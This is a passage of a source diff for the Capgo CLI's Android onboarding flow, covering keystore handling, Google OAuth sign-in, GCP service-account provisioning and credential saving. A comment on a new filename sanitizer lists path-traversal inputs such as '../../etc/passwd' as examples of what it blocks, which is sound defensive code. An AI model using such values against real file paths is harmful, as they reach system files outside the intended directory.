Return a transient signal so the driver can reproduce the original behavior: + // setError('Store password was rejected...') + // setRetryStep('keystore-existing-store-password') + // setStep('error') + // without calling handleError (which would bump retryCount). + return { progress, next: 'keystore-existing-store-password', transient: { wrongPassword: true } } + } + + // unsupported-format (JKS etc.) or 0 aliases → ask manually + // (app.tsx:931–935: unsupported→log+alias, ok+0→log+alias) + if (!listed.ok && listed.reason === 'unsupported-format') + deps.onLog?.('ℹ Couldn\'t auto-detect alias (JKS format or similar) — enter it manually.', 'yellow') + else if (listed.ok) + deps.onLog?.('ℹ Couldn\'t auto-detect alias from the keystore — enter it manually.', 'yellow') + return { progress, next: 'keystore-existing-alias' } + } + + // ── keystore-existing-key-password ──────────────────────────────────── + // app.tsx:951–1037 (auto probe) + 2058–2095 (prompt onSubmit completion) + // + // Unified handler: the effect is called twice on the prompt path — + // 1st call: probe fails → returns { next: 'keystore-existing-key-password', + // transient: { needsKeyPasswordPrompt: true } } — driver shows prompt. + // 2nd call: after applyAndroidInput has recorded keystoreKeyPassword, + // probe resolves from progress → continues to completion. + case 'keystore-existing-key-password': { + let resolvedKeyPw: string | null = null + let resolution: 'progress' | 'probed-same' | null = null + + // Path 1: progress already has keystoreKeyPassword (from resume or prompt submission) + if (progress.keystoreKeyPassword) { + resolvedKeyPw = progress.keystoreKeyPassword + resolution = 'progress' + } + // Path 2: attempt PKCS#12 probe with the store password + else if (progress.keystoreStorePassword && progress.keystoreExistingPath) { + try { + const bytes = await deps.readFile(progress.keystoreExistingPath) + const result = deps.tryUnlockPrivateKey(bytes, progress.keystoreStorePassword) + if (result.ok) { + resolvedKeyPw = progress.keystoreStorePassword + resolution = 'probed-same' + } + } + catch { + // readFile failed — fall through to prompt + } + } + + if (!resolvedKeyPw) { + // Prompt path: tell the driver to show the key-password input + return { + progress, + next: 'keystore-existing-key-password', + transient: { needsKeyPasswordPrompt: true }, + } + } + + // Auto-resolved — complete the keystore phase (app.tsx:994–1031) + if (resolution === 'probed-same') + deps.onLog?.('ℹ Key password matches store password — using the same value') + const keyPw = resolvedKeyPw + deps.onLog?.('✔ Key password set') + const bytes = await deps.readFile(progress.keystoreExistingPath!) + const base64 = bytes.toString('base64') + const ready: KeystoreReady = { + keystorePath: progress.keystoreExistingPath!, + alias: progress.keystoreAlias || RELEASE_ALIAS_DEFAULT, + isGenerated: false, + } + const nextProgress: AndroidOnboardingProgress = { + ...progress, + keystoreKeyPassword: keyPw, + _keystoreBase64: base64, + serviceAccountForkSeen: true, + completedSteps: { ...progress.completedSteps, keystoreReady: ready }, + } + await deps.saveAndroidProgress(progress.appId, nextProgress) + deps.onLog?.(`✔ Keystore loaded — ${progress.keystoreExistingPath!}`) + + // Smart-route: load fresh progress to check for prior OAuth progress. + // app.tsx:1024–1031 + const fresh = await deps.loadAndroidProgress(progress.appId) + const hasOAuthProgress = fresh ? hasAnyOAuthProgress(fresh) : false + let nextStep: AndroidOnboardingStep + if (hasOAuthProgress || fresh?.serviceAccountMethod !== undefined) { + nextStep = fresh ? getAndroidResumeStep(fresh) : 'service-account-method-select' + } + else { + nextStep = 'service-account-method-select' + } + + return { progress: nextProgress, next: nextStep } + } + + // ── keystore-generating ─────────────────────────────────────────────── + // app.tsx:1040–1093 + case 'keystore-generating': { + const storePw = progress.keystoreStorePassword! + const keyPw = progress.keystoreKeyPassword || storePw + const cn = progress.keystoreCommonName || progress.appId + const result = deps.generateKeystore({ + alias: progress.keystoreAlias || RELEASE_ALIAS_DEFAULT, + storePassword: storePw, + keyPassword: keyPw, + dname: { commonName: cn, organizationName: 'Capgo' }, + }) + + const defaultPath = `android/app/${result.alias}.p12` + const ready: KeystoreReady = { + keystorePath: defaultPath, + alias: result.alias, + isGenerated: true, + } + + const nextProgress: AndroidOnboardingProgress = { + ...progress, + keystoreMethod: 'generate', + keystoreAlias: result.alias, + keystoreStorePassword: storePw, + keystoreKeyPassword: keyPw, + keystoreCommonName: cn, + _keystoreBase64: result.p12Base64, + serviceAccountForkSeen: true, + completedSteps: { ...progress.completedSteps, keystoreReady: ready }, + } + + await deps.saveAndroidProgress(progress.appId, nextProgress) + deps.onLog?.(`✔ Keystore generated — alias: ${result.alias}, valid until ${result.notAfter.getFullYear()}`) + + // After fresh keystore generation in this run, always land on the + // new method-select fork — no prior SA choice exists yet. + // app.tsx:1086 + return { progress: nextProgress, next: 'service-account-method-select' } + } + + // ── sa-json-validating ──────────────────────────────────────────────── + // app.tsx:835–901 + case 'sa-json-validating': { + const jsonBytes = await deps.readFile(progress.serviceAccountJsonPath!) + const packageName = progress.completedSteps.androidPackageChosen!.packageName + + const result = await deps.validateServiceAccountJson({ + jsonBytes, + packageName, + signal: deps.signal, + }) + + if (result.ok) { + const base64 = jsonBytes.toString('base64') + const nextProgress: AndroidOnboardingProgress = { + ...progress, + _serviceAccountKeyBase64: base64, + // Clear any stale "skipped" flag from a previous attempt (app.tsx:869) + serviceAccountValidationSkipped: false, + } + await deps.saveAndroidProgress(progress.appId, nextProgress) + deps.onLog?.(`✔ Service account verified — ${result.serviceAccountEmail}`) + return { progress: nextProgress, next: 'saving-credentials' } + } + + // Failure — do NOT persist the key (app.tsx never persists on failure) + // shape-error: surface as a banner log (app.tsx:893) + if (result.kind === 'shape-error') + deps.onLog?.(`✖ ${result.message}`, 'red') + return { + progress, + next: 'sa-json-validation-failed', + transient: { saValidation: result }, + } + } + + // ── saving-credentials ──────────────────────────────────────────────── + // app.tsx:1345–1399 + doSaveCredentials:703–723 + case 'saving-credentials': { + // Self-heal: re-validate progress before attempting the save. + // app.tsx:1353–1363 + const fresh = await deps.loadAndroidProgress(progress.appId) + if (fresh) { + const expectedStep = getAndroidResumeStep(fresh) + if (expectedStep !== 'saving-credentials') { + return { progress, next: expectedStep } + } + } + + // doSaveCredentials guards — app.tsx:704–709 + const keystoreBase64 = progress._keystoreBase64 + if (!keystoreBase64) + throw new Error('keystore not ready') + const serviceAccountKeyBase64 = progress._serviceAccountKeyBase64 + if (!serviceAccountKeyBase64) + throw new Error('service-account key not provisioned') + const keystoreStorePassword = progress.keystoreStorePassword + const keystoreAlias = progress.keystoreAlias + if (!keystoreStorePassword || !keystoreAlias) + throw new Error('keystore inputs missing') + + const credentials: Record = { + ANDROID_KEYSTORE_FILE: keystoreBase64, + KEYSTORE_KEY_ALIAS: keystoreAlias, + KEYSTORE_STORE_PASSWORD: keystoreStorePassword, + KEYSTORE_KEY_PASSWORD: progress.keystoreKeyPassword || keystoreStorePassword, + PLAY_CONFIG_JSON: serviceAccountKeyBase64, + } + + await deps.updateSavedCredentials(progress.appId, 'android', credentials) + await deps.deleteAndroidProgress(progress.appId) + deps.onLog?.('✔ Credentials saved') + + // 'ask-build' is the Ink driver's post-save entry point. + // The MCP bridge (Plan B) maps this to 'done'. + return { progress, next: 'ask-build' } + } + + // ── google-sign-in-running ──────────────────────────────────────────── + // app.tsx:1095–1166 + // + // The driver pre-binds OAuth client config + scopes into deps.runOAuthFlow, + // keeping config/scope policy in the driver and out of the core. + case 'google-sign-in-running': { + let tokens: GoogleOAuthTokens + try { + tokens = await deps.runOAuthFlow({ + onAuthUrl: deps.onAuthUrl, + onStatus: deps.onStatus, + }) + } + catch (err) { + // User deselected one or more scopes on the consent screen. + // Treat this as a recoverable input error: route back to the pre-consent + // screen so the user can try again. Do NOT burn a retry strike. + if (err instanceof MissingScopesError) { + deps.onLog?.('✖ Sign-in did not grant all required permissions.', 'red') + for (const scope of err.missing) + deps.onLog?.(` • Missing: ${scope}`, 'yellow') + deps.onLog?.('Please retry sign-in and leave every requested permission checked.', 'yellow') + return { progress, next: 'google-sign-in' } + } + throw err + } + + if (!tokens.refreshToken) { + throw new Error('Google did not return a refresh token — try again.') + } + + const info = await deps.fetchUserInfo(tokens.accessToken) + + const nextProgress = applyGoogleSignIn(progress, tokens, info) + + await deps.saveAndroidProgress(progress.appId, nextProgress) + deps.onLog?.(`✔ Signed in as ${info.email}`) + + // Return the fresh access token in transient so the driver can seed its + // token cache and avoid an immediate refresh on the next GCP call. + // If the driver ignores it, deps.getAccessToken() will mint one — + // behaviorally identical. + return { + progress: nextProgress, + next: 'play-developer-id-input', + transient: { accessToken: tokens.accessToken }, + } + } + + // ── gcp-projects-loading ────────────────────────────────────────────── + // app.tsx:1183–1198 + // + // Pure load: fetch GCP projects, return in transient, do NOT persist. + case 'gcp-projects-loading': { + const tok = await deps.getAccessToken() + const projects = await deps.listProjects(tok) + return { + progress, + next: 'gcp-projects-select', + transient: { + gcpProjects: projects.map(p => ({ + projectId: p.projectId, + name: p.name, + projectNumber: p.projectNumber, + })), + }, + } + } + + // ── android-package-select (pre-load) ───────────────────────────────── + // app.tsx:1173–1181 + // + // Pure load: detect Gradle applicationIds, return in transient. + // Stays on android-package-select so the driver re-renders as a choice + // once detectedPackageIds is populated. Do NOT persist here. + case 'android-package-select': { + const ids = await deps.findAndroidApplicationIds() + return { + progress, + next: 'android-package-select', + transient: { detectedPackageIds: ids }, + } + } + + // ── gcp-setup-running ───────────────────────────────────────────────── + // app.tsx:1200–1342 + // + // The full GCP + Play provisioning chain. Persists incrementally after + // each major step for crash-recovery parity with app.tsx. + case 'gcp-setup-running': { + const tok = await deps.getAccessToken() + + // Use a mutable local reference so incremental persistence can build on + // the latest persisted state (mirrors app.tsx's local `projectChoice` + // mutation + `persist()` calls). + let currentProgress: AndroidOnboardingProgress = progress + + // Read gcpProjectChosen from progress — may be updated locally below + // (incremental persistence after project creation). + let projectChoice = currentProgress.completedSteps.gcpProjectChosen + + // Step A: create project if the user chose "new" and it hasn't been + // created yet (crash-resume: if projectNumber is already set, skip). + if (projectChoice && projectChoice.createdByOnboarding && !projectChoice.projectNumber) { + deps.onStatus?.(`Creating GCP project ${projectChoice.projectId}...`) + const created = await deps.createProject(tok, projectChoice.projectId, projectChoice.displayName) + projectChoice = { ...projectChoice, projectNumber: created.projectNumber } + currentProgress = { + ...currentProgress, + completedSteps: { ...currentProgress.completedSteps, gcpProjectChosen: projectChoice }, + } + await deps.saveAndroidProgress(currentProgress.appId, currentProgress) + deps.onStatus?.(`✔ Project created (number ${created.projectNumber})`) + } + + if (!projectChoice) { + throw new Error('No GCP project selected') + } + + const projectId = projectChoice.projectId + + // Step B: enable Android Publisher API (idempotent). + deps.onStatus?.(`Enabling ${ANDROIDPUBLISHER_API}...`) + await deps.enableService(tok, projectId, ANDROIDPUBLISHER_API) + deps.onStatus?.('✔ API enabled') + + // Step C: create or find the capgo-native-build service account. + deps.onStatus?.(`Ensuring service account "${DEFAULT_SERVICE_ACCOUNT_ID}"...`) + const { account: sa, created: saCreated } = await deps.ensureServiceAccount({ + accessToken: tok, + projectId, + accountId: DEFAULT_SERVICE_ACCOUNT_ID, + displayName: DEFAULT_SERVICE_ACCOUNT_DISPLAY_NAME, + description: DEFAULT_SERVICE_ACCOUNT_DESCRIPTION, + }) + const saProv = { + email: sa.email, + projectId, + uniqueId: sa.uniqueId, + } + deps.onStatus?.(saCreated ? `✔ Service account created — ${sa.email}` : `✔ Service account exists — ${sa.email}`) + + // Step D: create a fresh JSON key for the SA. + // Persist after this step so the key is safe even if later steps fail. + deps.onStatus?.('Creating service-account JSON key...') + const key = await deps.createServiceAccountKey({ + accessToken: tok, + projectId, + serviceAccountEmail: sa.email, + }) + currentProgress = { + ...currentProgress, + _serviceAccountKeyBase64: key.privateKeyDataBase64, + completedSteps: { ...currentProgress.completedSteps, serviceAccountProvisioned: saProv }, + } + await deps.saveAndroidProgress(currentProgress.appId, currentProgress) + deps.onStatus?.('✔ Key created') + + // Step E: invite the SA into the Play Developer account. + const playAccountChoice = currentProgress.completedSteps.playAccountChosen + if (!playAccountChoice) { + throw new Error('No Play Developer account chosen') + } + const androidPackageChoice = currentProgress.completedSteps.androidPackageChosen + deps.onStatus?.(`Inviting ${sa.email} to Play Console...`) + try { + if (!androidPackageChoice) { + throw new Error('No Android package selected for the Play invite') + } + await deps.inviteServiceAccount({ + accessToken: tok, + developerId: playAccountChoice.developerId, + serviceAccountEmail: sa.email, + developerAccountPermissions: CAPGO_SA_DEVELOPER_PERMISSIONS, + grants: [{ + packageName: androidPackageChoice.packageName, + permissions: CAPGO_SA_APP_PERMISSIONS, + }], + }) + } + catch (err) { + const msg = err instanceof Error ? err.message : String(err) + // Treat "already exists" style failures as success — the SA is already + // a user on this developer account from a prior run. + if (!/already|exists|duplicate/i.test(msg)) { + throw err + } + deps.onStatus?.('ℹ Service account was already invited — continuing') + } + + const invite = { + developerId: playAccountChoice.developerId, + serviceAccountEmail: sa.email, + } + currentProgress = { + ...currentProgress, + completedSteps: { ...currentProgress.completedSteps, playInviteProvisioned: invite }, + } + await deps.saveAndroidProgress(currentProgress.appId, currentProgress) + deps.onStatus?.('✔ Play Console invite confirmed') + + // Step F: revoke the OAuth refresh token now that provisioning succeeded. + // From this point forward Capgo uses the service account JSON key. + // Failure is non-fatal: the token expires within ~1 hour regardless. + if (currentProgress._oauthRefreshToken) { + deps.onStatus?.('Revoking OAuth token (we don\'t need it anymore)...') + try { + await deps.revokeToken(currentProgress._oauthRefreshToken) + deps.onStatus?.('✔ OAuth token revoked') + } + catch (err) { + const msg = err instanceof Error ? err.message : String(err) + deps.onStatus?.(`⚠ Revoke request failed (${msg}) — token will expire on its own`) + } + } + + deps.onLog?.('✔ Google Cloud + Play setup complete') + return { progress: currentProgress, next: 'saving-credentials' } + } + + // ── Not yet implemented (bootstrap / post-save tail / native-picker) ── + default: + throw new Error(`Unhandled effect step: ${step}`) + } +} diff --git a/cli/src/build/onboarding/android/keystore.ts b/cli/src/build/onboarding/android/keystore.ts index 9effa81e58..e56adc3fba 100644 --- a/cli/src/build/onboarding/android/keystore.ts +++ b/cli/src/build/onboarding/android/keystore.ts @@ -30,6 +30,41 @@ export interface KeystoreResult { const DEFAULT_VALIDITY_YEARS = 27 const DEFAULT_KEY_SIZE = 2048 const RANDOM_PASSWORD_BYTES = 24 +const DEFAULT_SAFE_ALIAS = 'keystore' + +/** + * Sanitize a keystore alias for use as an on-disk filename component. + * + * The alias originates from user input (e.g. `keystoreNewAlias`). It is used + * verbatim for the keystore crypto and the saved `KEYSTORE_KEY_ALIAS`, but the + * value used to build the `.p12` filename must be sanitized so a value + * like `../../evil` or `/etc/x` cannot escape the target directory. + * + * Rules: + * - strip any directory components (keep only the basename), + * - allow only `[A-Za-z0-9._-]`, replacing any other char with `_`, + * - normalize empty or dot-only results (``, `.`, `..`) to a safe default, + * - the return value never contains `/`, `\`, or `..`. + * + * IMPORTANT: this is ONLY for the filename. Do NOT use it for the crypto alias + * or the saved key alias — those must stay exactly what the user chose. + */ +export function sanitizeKeystoreAlias(alias: string): string { + // Take the basename: split on both POSIX and Windows separators and keep the + // last non-empty segment so `a/b`, `a\b\c`, `../../etc/passwd` all reduce to + // just the final name. + const segments = String(alias ?? '').split(/[/\\]+/) + const basename = segments.filter(Boolean).pop() ?? '' + + // Replace any char outside the allowlist with `_`. + const cleaned = basename.replace(/[^A-Za-z0-9._-]/g, '_') + + // Reject empty or dot-only results (``, `.`, `..`, etc.) → safe default. + if (cleaned.length === 0 || /^\.+$/.test(cleaned)) + return DEFAULT_SAFE_ALIAS + + return cleaned +} /** * Generate a URL-safe random password suitable for Android keystore use. diff --git a/cli/src/build/onboarding/android/oauth-google.ts b/cli/src/build/onboarding/android/oauth-google.ts index d0d1754c7e..796ce0236b 100644 --- a/cli/src/build/onboarding/android/oauth-google.ts +++ b/cli/src/build/onboarding/android/oauth-google.ts @@ -495,16 +495,37 @@ function startLoopbackServer(args: { } /** - * Run the full browser-based OAuth flow and return tokens. + * The shape returned by `startOAuthFlow`. The loopback server is already + * running and the browser has been opened; the caller awaits `result` at a + * later point (fire-and-poll pattern for MCP). + */ +export interface PendingOAuthSession { + /** Full Google authorization URL that was opened in the browser. */ + authUrl: string + /** The loopback redirect URI embedded in the authUrl. */ + redirectUri: string + /** + * Resolves with validated tokens once the browser callback lands, + * code is exchanged and scopes pass. Rejects on error/timeout/missing-scopes. + */ + result: Promise + /** Force-close the loopback server (safe after result settles). */ + close: () => void +} + +/** + * Non-blocking OAuth starter: opens the browser and starts the loopback + * listener, then returns IMMEDIATELY without waiting for the sign-in to + * complete. The caller can `await session.result` later to collect tokens. * - * Side effects: - * - Opens a browser window at Google's consent screen. - * - Starts (and later stops) a loopback HTTP server on 127.0.0.1. + * This is the foundation for the MCP fire-and-poll sign-in model. The Ink + * wizard uses `runOAuthFlow` (which internally calls this and then awaits + * `result`) to preserve its blocking behavior. */ -export async function runOAuthFlow( +export async function startOAuthFlow( config: GoogleOAuthConfig, options: RunOAuthFlowOptions = {}, -): Promise { +): Promise { if (!config.clientId) throw new Error('Google OAuth clientId is required') if (!config.scopes.length) @@ -520,58 +541,81 @@ export async function runOAuthFlow( signal: options.signal, }) + const authUrl = buildAuthUrl({ + clientId: config.clientId, + redirectUri: server.redirectUri, + scopes: config.scopes, + state, + codeChallenge: pkce.challenge, + extra: config.extraAuthParams, + }) + + options.onAuthUrl?.(authUrl) + options.onStatus?.('Opening browser for Google sign-in...') try { - const authUrl = buildAuthUrl({ - clientId: config.clientId, - redirectUri: server.redirectUri, - scopes: config.scopes, - state, - codeChallenge: pkce.challenge, - extra: config.extraAuthParams, - }) + await open(authUrl) + } + catch { + options.onStatus?.('Could not open browser automatically — open the URL above manually.') + } - options.onAuthUrl?.(authUrl) - options.onStatus?.('Opening browser for Google sign-in...') + // Build `result` as an async IIFE that awaits the callback, exchanges the + // code, validates scopes and delivers tokens. The server is closed in finally + // regardless of outcome. + const result: Promise = (async () => { try { - await open(authUrl) - } - catch { - options.onStatus?.('Could not open browser automatically — open the URL above manually.') - } - options.onStatus?.('Waiting for browser redirect...') + const { code, finishResponse } = await server.code + options.onStatus?.('Exchanging code for tokens...') - const { code, finishResponse } = await server.code + let tokens: GoogleOAuthTokens + try { + tokens = await exchangeAuthCode({ + config, + code, + codeVerifier: pkce.verifier, + redirectUri: server.redirectUri, + }) + } + catch (err) { + finishResponse(errorHtml(err instanceof Error ? err.message : String(err)), 500) + throw err + } - options.onStatus?.('Exchanging code for tokens...') - let tokens: GoogleOAuthTokens - try { - tokens = await exchangeAuthCode({ - config, - code, - codeVerifier: pkce.verifier, - redirectUri: server.redirectUri, - }) + // Scope validation — Google lets users deselect scopes on the consent + // screen, and grants whatever subset they approved. + const missing = findMissingScopes(tokens.scope, config.scopes) + if (missing.length > 0) { + finishResponse(scopeMissingHtml(missing), 400) + throw new MissingScopesError(missing, tokens.scope) + } + + finishResponse(successHtml()) + return tokens } - catch (err) { - finishResponse(errorHtml(err instanceof Error ? err.message : String(err)), 500) - throw err + finally { + server.close() } + })() - // Scope validation — Google lets users deselect scopes on the consent - // screen, and grants whatever subset they approved. Detect that here so - // the user gets a clear "please grant all permissions" message in BOTH - // the browser tab and the CLI, instead of failing several API calls - // later with confusing 403s. - const missing = findMissingScopes(tokens.scope, config.scopes) - if (missing.length > 0) { - finishResponse(scopeMissingHtml(missing), 400) - throw new MissingScopesError(missing, tokens.scope) - } + // Return immediately — do NOT await result. + return { authUrl, redirectUri: server.redirectUri, result, close: server.close } +} - finishResponse(successHtml()) - return tokens - } - finally { - server.close() - } +/** + * Run the full browser-based OAuth flow and return tokens. + * + * Side effects: + * - Opens a browser window at Google's consent screen. + * - Starts (and later stops) a loopback HTTP server on 127.0.0.1. + * + * Delegates to `startOAuthFlow` and awaits the result — preserving the + * original blocking behavior Ink depends on. + */ +export async function runOAuthFlow( + config: GoogleOAuthConfig, + options: RunOAuthFlowOptions = {}, +): Promise { + const session = await startOAuthFlow(config, options) + options.onStatus?.('Waiting for browser redirect...') + return await session.result } diff --git a/cli/src/build/onboarding/android/oauth-scopes.ts b/cli/src/build/onboarding/android/oauth-scopes.ts new file mode 100644 index 0000000000..d69f93ac9b --- /dev/null +++ b/cli/src/build/onboarding/android/oauth-scopes.ts @@ -0,0 +1,10 @@ +// src/build/onboarding/android/oauth-scopes.ts +import { GOOGLE_OAUTH_SCOPES_ANDROIDPUBLISHER } from './oauth-google.js' + +/** OAuth scopes for Capgo Android onboarding — androidpublisher (Play) plus + * cloud-platform (create GCP projects / service accounts / keys). Shared by the + * Ink wizard and the MCP bridge so the two drivers can never drift. */ +export const OAUTH_SCOPES_FOR_ONBOARDING = [ + ...GOOGLE_OAUTH_SCOPES_ANDROIDPUBLISHER, + 'https://www.googleapis.com/auth/cloud-platform', +] as const diff --git a/cli/src/build/onboarding/android/progress.ts b/cli/src/build/onboarding/android/progress.ts index 8ce231957d..cc20384b06 100644 --- a/cli/src/build/onboarding/android/progress.ts +++ b/cli/src/build/onboarding/android/progress.ts @@ -108,8 +108,15 @@ function keystoreResumeStep(progress: AndroidOnboardingProgress): AndroidOnboard if (progress.keystoreMethod === 'generate') { if (progress.keystoreStorePassword && progress.keystoreAlias) return 'keystore-new-cn' - if (progress.keystoreAlias) + if (progress.keystoreAlias) { + // Once the user picks "manual", advance to the dedicated store-password + // input so the step title changes and a stateless caller (the MCP) sees + // clear forward progress. "random" auto-fills the password above, so it + // never reaches this branch. + if (progress.keystorePasswordManual) + return 'keystore-new-store-password' return 'keystore-new-password-method' + } return 'keystore-new-alias' } return 'keystore-method-select' diff --git a/cli/src/build/onboarding/android/types.ts b/cli/src/build/onboarding/android/types.ts index 3ae0d7d902..6663424ae3 100644 --- a/cli/src/build/onboarding/android/types.ts +++ b/cli/src/build/onboarding/android/types.ts @@ -137,6 +137,13 @@ export interface AndroidOnboardingProgress { appId: string startedAt: string + /** + * Set the moment the user enters the android flow (platform chosen). Lets the + * MCP resume the android flow on a next_step that omits `platform`, instead of + * bouncing to platform-select. Independent of keystore-ready markers. + */ + activePlatform?: 'android' + // Keystore — partial input for resume keystoreMethod?: KeystoreMethod keystoreExistingPath?: string @@ -144,6 +151,21 @@ export interface AndroidOnboardingProgress { keystoreStorePassword?: string keystoreKeyPassword?: string keystoreCommonName?: string + /** + * True when the new-keystore password was auto-generated (random method). + * `keystorePasswordMethod` is NOT persisted, so this is the signal the MCP uses + * to decide whether to surface the password to the user (manual passwords the + * user already knows are never surfaced). Never logged or sent to telemetry. + */ + keystorePasswordGenerated?: boolean + /** + * True once the user chose the MANUAL password method at + * `keystore-new-password-method`. The interactive TUI tracks this manual → + * store-password transition in component state; the stateless MCP has no such + * state, so it persists this marker to advance the resume step to + * `keystore-new-store-password` instead of re-showing the choice screen. + */ + keystorePasswordManual?: boolean // Set when a fresh run completes keystore setup and becomes eligible to // show `service-account-method-select`. This lets resume return to the fork diff --git a/cli/src/build/onboarding/android/ui/app.tsx b/cli/src/build/onboarding/android/ui/app.tsx index 7bec9094b0..d20d44bdbf 100644 --- a/cli/src/build/onboarding/android/ui/app.tsx +++ b/cli/src/build/onboarding/android/ui/app.tsx @@ -22,7 +22,7 @@ import process from 'node:process' import { Alert, ProgressBar, Select } from '@inkjs/ui' import { Box, Newline, Text, useApp, useInput } from 'ink' // src/build/onboarding/android/ui/app.tsx -import React, { useCallback, useEffect, useRef, useState } from 'react' +import React, { useCallback, useEffect, useMemo, useRef, useState } from 'react' import { createSupabaseClient, findBuildCommandForProjectType, findProjectType, findSavedKeySilent, getOrganizationId, getPackageScripts, getPMAndCommand } from '../../../../utils.js' import { loadSavedCredentials, updateSavedCredentials } from '../../../credentials.js' import { requestBuildInternal } from '../../../request.js' @@ -46,11 +46,7 @@ import { getWorkflowDiffTelemetry, trackBuildOnboardingWorkflowEvent } from '../ import type { BuildOnboardingWorkflowDecision, BuildOnboardingWorkflowEvent, WorkflowDiffTelemetry } from '../../analytics.js' import { buildScriptPickerOptions, normalizePackageManager } from '../../workflow-ui-helpers.js' import { - ANDROIDPUBLISHER_API, createServiceAccountKey, - DEFAULT_SERVICE_ACCOUNT_DESCRIPTION, - DEFAULT_SERVICE_ACCOUNT_DISPLAY_NAME, - DEFAULT_SERVICE_ACCOUNT_ID, enableService, ensureServiceAccount, generateProjectId, @@ -61,12 +57,11 @@ import { import { generateKeystore, generateRandomPassword, listKeystoreAliases, tryUnlockPrivateKey } from '../keystore.js' import { fetchUserInfo, - GOOGLE_OAUTH_SCOPES_ANDROIDPUBLISHER, - MissingScopesError, refreshAccessToken, revokeToken, runOAuthFlow, } from '../oauth-google.js' +import { OAUTH_SCOPES_FOR_ONBOARDING } from '../oauth-scopes.js' import open from 'open' import { fetchCapgoOAuthConfig, @@ -74,14 +69,13 @@ import { } from '../oauth-config.js' import type { CapgoOAuthClientConfig } from '../oauth-config.js' import { - CAPGO_SA_APP_PERMISSIONS, - CAPGO_SA_DEVELOPER_PERMISSIONS, extractDeveloperId, inviteServiceAccount, PLAY_DEVELOPERS_URL, } from '../play-api.js' import { deleteAndroidProgress, getAndroidResumeStep, hasAnyOAuthProgress, loadAndroidProgress, saveAndroidProgress } from '../progress.js' import { ANDROID_STEP_PROGRESS, getAndroidPhaseLabel } from '../types.js' +import { applyAndroidInput, runAndroidEffect } from '../flow.js' interface LogEntry { text: string, color?: string } @@ -96,14 +90,7 @@ interface AppProps { const RELEASE_ALIAS_DEFAULT = 'release' -/** OAuth scopes — superset of `androidpublisher` because we also need - * cloud-platform to create GCP projects, service accounts, and keys on the - * user's behalf. userinfo.email + openid are for identifying the signed-in - * user in the UI. */ -const OAUTH_SCOPES_FOR_ONBOARDING = [ - ...GOOGLE_OAUTH_SCOPES_ANDROIDPUBLISHER, - 'https://www.googleapis.com/auth/cloud-platform', -] as const +// OAUTH_SCOPES_FOR_ONBOARDING is imported from '../oauth-scopes.js' (shared with the MCP bridge). function cleanPath(input: string): string { let s = input.trim() @@ -351,12 +338,12 @@ const AndroidOnboardingApp: FC = ({ appId, initialProgress, androidDir const [keystoreExistingPath, setKeystoreExistingPath] = useState(initialProgress?.keystoreExistingPath || '') const [keystoreAlias, setKeystoreAlias] = useState(initialProgress?.keystoreAlias || '') const [keystoreStorePassword, setKeystoreStorePassword] = useState(initialProgress?.keystoreStorePassword || '') - const [keystoreKeyPassword, setKeystoreKeyPassword] = useState(initialProgress?.keystoreKeyPassword || '') - const [keystoreCommonName, setKeystoreCommonName] = useState(initialProgress?.keystoreCommonName || '') - const [keystoreReady, setKeystoreReady] = useState( + const [, setKeystoreKeyPassword] = useState(initialProgress?.keystoreKeyPassword || '') + const [, setKeystoreCommonName] = useState(initialProgress?.keystoreCommonName || '') + const [, setKeystoreReady] = useState( initialProgress?.completedSteps.keystoreReady || null, ) - const [keystoreBase64, setKeystoreBase64] = useState(initialProgress?._keystoreBase64 || '') + const [, setKeystoreBase64] = useState(initialProgress?._keystoreBase64 || '') const [randomPasswordGenerated, setRandomPasswordGenerated] = useState(false) const [detectedAliases, setDetectedAliases] = useState([]) /** Phase 1.5 — key-password auto-skip probe. `null` = haven't decided yet, @@ -393,7 +380,7 @@ const AndroidOnboardingApp: FC = ({ appId, initialProgress, androidDir const [showOAuthLearnMore, setShowOAuthLearnMore] = useState(false) // Phase 3 — Play developer account (user pastes ID or URL) - const [playAccountChoice, setPlayAccountChoice] = useState( + const [, setPlayAccountChoice] = useState( initialProgress?.completedSteps.playAccountChosen || null, ) /** Two-screen flow for the dev ID step: 'actions' shows a Select of what @@ -402,7 +389,7 @@ const AndroidOnboardingApp: FC = ({ appId, initialProgress, androidDir // Phase 4 — GCP projects const [gcpProjects, setGcpProjects] = useState([]) - const [gcpProjectChoice, setGcpProjectChoice] = useState( + const [, setGcpProjectChoice] = useState( initialProgress?.completedSteps.gcpProjectChosen || null, ) const [newProjectDisplayName, setNewProjectDisplayName] = useState( @@ -410,7 +397,7 @@ const AndroidOnboardingApp: FC = ({ appId, initialProgress, androidDir ) // Phase 4.5 — Android package name (applicationId) - const [androidPackageChoice, setAndroidPackageChoice] = useState( + const [, setAndroidPackageChoice] = useState( initialProgress?.completedSteps.androidPackageChosen || null, ) const [detectedPackageIds, setDetectedPackageIds] = useState([]) @@ -425,7 +412,7 @@ const AndroidOnboardingApp: FC = ({ appId, initialProgress, androidDir const [, setPlayInviteProvisioned] = useState( initialProgress?.completedSteps.playInviteProvisioned || null, ) - const [serviceAccountKeyBase64, setServiceAccountKeyBase64] = useState( + const [, setServiceAccountKeyBase64] = useState( initialProgress?._serviceAccountKeyBase64 || '', ) @@ -700,27 +687,52 @@ const AndroidOnboardingApp: FC = ({ appId, initialProgress, androidDir return refreshed.accessToken }, [accessToken, refreshTokenState, oauthClientId, getCapgoConfig]) - async function doSaveCredentials(): Promise[2]> { - if (!keystoreReady || !keystoreBase64) - throw new Error('keystore not ready') - if (!serviceAccountKeyBase64) - throw new Error('service-account key not provisioned') - if (!keystoreStorePassword || !keystoreAlias) - throw new Error('keystore inputs missing') - - const credentials = { - ANDROID_KEYSTORE_FILE: keystoreBase64, - KEYSTORE_KEY_ALIAS: keystoreAlias, - KEYSTORE_STORE_PASSWORD: keystoreStorePassword, - KEYSTORE_KEY_PASSWORD: keystoreKeyPassword || keystoreStorePassword, - PLAY_CONFIG_JSON: serviceAccountKeyBase64, - } as Parameters[2] - - await updateSavedCredentials(appId, 'android', credentials) - await deleteAndroidProgress(appId) - addLog('✔ Credentials saved') - return credentials - } + /** + * Base AndroidEffectDeps wiring real primitives and stable callbacks. + * Per-step callbacks (onLog, onStatus, onAuthUrl, runOAuthFlow, signal) + * are spread in at each call site — see the auto-effect wrappers below. + */ + const baseDeps = useMemo(() => ({ + // Keystore + generateKeystore, + listKeystoreAliases, + tryUnlockPrivateKey, + // Service account validation + validateServiceAccountJson, + // Credentials persistence + updateSavedCredentials, + loadSavedCredentials, + // Onboarding progress persistence + saveAndroidProgress, + loadAndroidProgress, + deleteAndroidProgress, + // File system + readFile, + copyFile, + // OAuth helpers + fetchUserInfo, + revokeToken, + // GCP + listProjects, + createProject: 